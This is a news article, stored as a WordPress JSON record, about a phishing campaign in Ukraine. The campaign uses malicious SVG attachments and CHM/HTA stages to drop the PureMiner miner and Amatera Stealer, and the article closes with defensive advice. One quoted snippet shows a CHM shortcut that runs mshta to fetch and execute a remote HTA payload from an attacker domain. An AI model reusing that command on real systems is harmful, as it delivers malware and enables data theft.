{"id":7272,"date":"2025-09-29T10:04:05","date_gmt":"2025-09-29T10:04:05","guid":{"rendered":"https:\/\/serisec.com\/index.php\/2025\/09\/29\/hackers-weaponizing-svg-files-to-deliver-pureminer-malware-and-steal-sensitive-information\/"},"modified":"2025-09-29T10:04:05","modified_gmt":"2025-09-29T10:04:05","slug":"hackers-weaponizing-svg-files-to-deliver-pureminer-malware-and-steal-sensitive-information","status":"publish","type":"post","link":"https:\/\/serisec.com\/index.php\/2025\/09\/29\/hackers-weaponizing-svg-files-to-deliver-pureminer-malware-and-steal-sensitive-information\/","title":{"rendered":"Hackers Weaponizing SVG Files to Deliver PureMiner Malware and Steal Sensitive Information"},"content":{"rendered":"<p>    Hackers Weaponizing SVG Files to Deliver PureMiner Malware and Steal Sensitive Information<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n    <!-- no image --><br \/>\n \t<BR><br \/>\n<BR><\/BR><\/p>\n<div>\n<p>In recent weeks, a sophisticated phishing campaign has emerged, targeting organizations in Ukraine with malicious Scalable Vector Graphics (SVG) files designed to propagate the PureMiner cryptominer and a data-stealing payload dubbed Amatera Stealer.<\/p>\n<p>Attackers masquerade as the Ukrainian police, sending emails that claim recipients have pending appeals.<\/p>\n<p>When victims open the attached SVG, it triggers a fileless attack chain that ultimately compromises system confidentiality and hijacks computing resources.<\/p>\n<p>This novel use of SVG attachments as initial infection vectors demonstrates attackers\u2019 increasing creativity in bypassing traditional email filters and endpoint protections.<\/p>\n<p>Upon opening the SVG attachment, an embedded HTML iframe element silently loads a second SVG from an attacker-controlled domain.<\/p>\n<p>That SVG presents a <a href=\"https:\/\/cybersecuritynews.com\/royal-tiger-group-with-spoofed\/\" target=\"_blank\" rel=\"noreferrer noopener\">spoofed<\/a> Adobe Reader interface with a \u201cPlease wait, your document is loading\u2026\u201d message in Ukrainian, while simultaneously downloading a password-protected archive.<\/p>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEjBdVVc5Z4N7VlXd6vjl61WJ4r-R1Um_gLFu5oz4fkLoCoWv7ErJayQoS83vKSbuCO46g-i_SDgodFK3S6898oTA0TPpGA4zRdA64rWoa8HOWpD29UKn6O-cLdeZtUZXg_VFDOjH-uyV2VaItnJFKcqL2fiRzXvleWcHx4WB4Ylrs-vUzXfeFYlVuu70j8\/s16000\/Spoofed%2520Adobe%2520Reader%2520interface%2520%28Source%2520-%2520Fortinet%29.webp?ssl=1\" alt=\"\"><figcaption class=\"wp-element-caption\">Spoofed Adobe Reader interface (Source \u2013 Fortinet)<\/figcaption><\/figure>\n<\/div>\n<p>Victims are shown the archive password and urged to extract a Compiled HTML Help (CHM) file. Fortinet analysts <a href=\"https:\/\/www.fortinet.com\/blog\/threat-research\/svg-phishing-hits-ukraine-with-amatera-stealer-pureminer\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">noted<\/a> the malware\u2019s reliance on this deceptive user interaction to evade detection and lure victims into executing malicious content.<\/p>\n<p>Inside the archive, a CHM file contains an HTML shortcut object that invokes an HTML Application (HTA) in hidden mode.<\/p>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEhnEgMsDowLlW5J4SYlbCloCn8taCtTuRzBU_Z1joU1WYHp_1AGsn28xwvEpahfQcbgAotBxA3EvZtwp8u4LSNoPphCTuQTaZfgLpxNpyAwRQrr7D92LKe_oPoOtcsgKjz2FSmx0QXtycm6B8Fkniyqivc2BYSZNiSkBRmYycICmtXef2i8BqtuCECrjdM\/s16000\/Malicious%2520HTM%2520file%2520extracted%2520from%2520the%2520CHM%2520%28Source%2520-%2520Fortinet%29.webp?ssl=1\" alt=\"\"><figcaption class=\"wp-element-caption\">Malicious HTM file extracted from the CHM (Source \u2013 Fortinet)<\/figcaption><\/figure>\n<\/div>\n<p>The HTA script, obfuscated through string encoding and array shuffling, serves as a loader\u2014establishing a persistent connection to the attacker\u2019s server, <a href=\"https:\/\/cybersecuritynews.com\/cl0p-ransomware-data-exfiltration-vulnerable\/\" target=\"_blank\" rel=\"noreferrer noopener\">exfiltrating<\/a> system information via XorBase64-encoded HTTP POST requests, and awaiting further commands.<\/p>\n<h2 class=\"wp-block-heading\" id=\"h-infection-mechanism-of-pureminer-via-an-svg-based-fileless-chain\"><strong>Infection Mechanism of PureMiner via an SVG-Based Fileless Chain<\/strong><\/h2>\n<p>A snippet from the malicious HTM extracted from the CHM illustrates how the Click method spawns mshta.exe to fetch and execute the next-stage payload:-<\/p>\n<pre class=\"wp-block-code\"><code>[OBJECT id=\"shortcut\" classid=\"clsid:52a2aaae-085d-4187-97ea-8c30db990436\" width=\"1\" height=\"1\"]\n  [PARAM name=\"Command\" value=\"ShortCut\"]\n  [PARAM name=\"Item1\" value=\",cmd,\/c mshta https:\/\/ms-team-ping2.com\/smtp_test.hta\"]\n[\/OBJECT]\n[SCRIPT]shortcut.Click();[\/SCRIPT]<\/code><\/pre>\n<p>The infection mechanism continues with two distinct fileless payload deliveries. In the first, a ZIP archive named ergosystem.zip contains a legitimate .NET tool that sideloads a malicious <a href=\"https:\/\/cybersecuritynews.com\/new-charon-ransomware-employs-dll-sideloading\/\" target=\"_blank\" rel=\"noreferrer noopener\">DLL<\/a> using process hollowing.<\/p>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEiLv_bWgkY12pMdL4cC9scSlyyzjOFLnWtehwhr6gq2-aSY3oS57NyGi9fw_uKMVwREIq3Aw4QlJ8A8BAau9IPZnGKG305kiZZ_dtycOenQIB0I5RM5o1cL5WFhOtd9mUa3jURUqVykjSE_yYkR2ZXmd1rN1KPHWnEmD4ltvxolHAzplJ90_oB3tEgF8pE\/s16000\/Attack%2520chain%2520%28Source%2520-%2520Fortinet%29.webp?ssl=1\" alt=\"\"><figcaption class=\"wp-element-caption\">Attack chain (Source \u2013 Fortinet)<\/figcaption><\/figure>\n<\/div>\n<p>The injected payload, identified as PureMiner, decrypts its configuration from a Protobuf-serialized blob, gathers hardware details using AMD and NVIDIA libraries, and initiates CPU- or GPU-based mining modules.<\/p>\n<p>In the second archive, smtpB.zip, a Python interpreter and the PythonMemoryModule are leveraged to load Amatera Stealer directly into memory.<\/p>\n<p>This stealer requests an RC4-encrypted configuration via HTTP GET, decodes it in memory, and parses directives to harvest credentials, browser artifacts, and <a href=\"https:\/\/cybersecuritynews.com\/typosquatted-pypi-packages-steal-from-bittensor-wallets\/\" target=\"_blank\" rel=\"noreferrer noopener\">cryptocurrency wallet<\/a> files.<\/p>\n<p>From initial SVG deployment to dual payload execution, this campaign exemplifies a seamless progression of fileless tactics and legitimate application misuse.<\/p>\n<p>By weaponizing SVG files as HTML wrappers and chaining through CHM and HTA stages, attackers evade signature-based defenses and exploit users\u2019 trust in common document formats.<\/p>\n<p>Cybersecurity teams should inspect SVG attachments for embedded iframes and <a href=\"https:\/\/cybersecuritynews.com\/cisco-imc-vulnerability\/\" target=\"_blank\" rel=\"noreferrer noopener\">monitor<\/a> mshta.exe invocations, while ensuring that CHM and HTA executions are restricted.<\/p>\n<p>Proper URL filtering and archive password prompts coupled with endpoint behavioral analytics can disrupt this infection mechanism before it compromises data or hijacks system resources.<\/p>\n<p class=\"has-text-align-center has-background\" style=\"background:linear-gradient(180deg,rgb(238,238,238) 91%,rgb(169,184,195) 100%)\"><strong>Follow us on\u00a0<a href=\"https:\/\/news.google.com\/publications\/CAAqMggKIixDQklTR3dnTWFoY0tGV041WW1WeWMyVmpkWEpwZEhsdVpYZHpMbU52YlNnQVAB?hl=en-IN&amp;gl=IN&amp;ceid=IN:en\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Google News<\/a>,\u00a0<a href=\"https:\/\/www.linkedin.com\/company\/cybersecurity-news\/\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">LinkedIn<\/a>,\u00a0and\u00a0<a href=\"https:\/\/x.com\/cyber_press_org\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">X<\/a>\u00a0to Get More Instant Updates<\/strong>,\u00a0<strong>Set CSN as a Preferred Source in\u00a0<a href=\"https:\/\/www.google.com\/preferences\/source?q=cybersecuritynews.com\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Google<\/a>.<\/strong><\/p>\n<p>The post <a href=\"https:\/\/cybersecuritynews.com\/hackers-weaponizing-svg-files-to-deliver-pureminer-malware\/\">Hackers Weaponizing SVG Files to Deliver PureMiner Malware and Steal Sensitive Information<\/a> appeared first on <a href=\"https:\/\/cybersecuritynews.com\/\">Cyber Security News<\/a>.<\/p>\n<\/div>\n<p> \t<BR><br \/>\n <BR><\/BR><br \/>\n    Tushar Subhra Dutta<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n<a href=\"https:\/\/cybersecuritynews.com\/hackers-weaponizing-svg-files-to-deliver-pureminer-malware\/\">Go to cyber-security-news<\/a><br \/>\n \t<BR><br \/>\n <BR><\/BR><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hackers Weaponizing SVG Files to Deliver PureMiner Malware and Steal Sensitive Information In recent weeks, a sophisticated phishing campaign has emerged, targeting organizations in Ukraine with malicious Scalable Vector Graphics (SVG) files designed to propagate the PureMiner cryptominer and a data-stealing payload dubbed Amatera Stealer. Attackers masquerade as the Ukrainian police, sending emails that claim [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[129,63,649],"tags":[130],"class_list":["post-7272","post","type-post","status-publish","format-standard","hentry","category-cyber-security","category-cyber-security-news","category-threats","tag-cyber-security-news"],"_links":{"self":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/7272"}],"collection":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/comments?post=7272"}],"version-history":[{"count":0,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/7272\/revisions"}],"wp:attachment":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/media?parent=7272"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/categories?post=7272"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/tags?post=7272"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}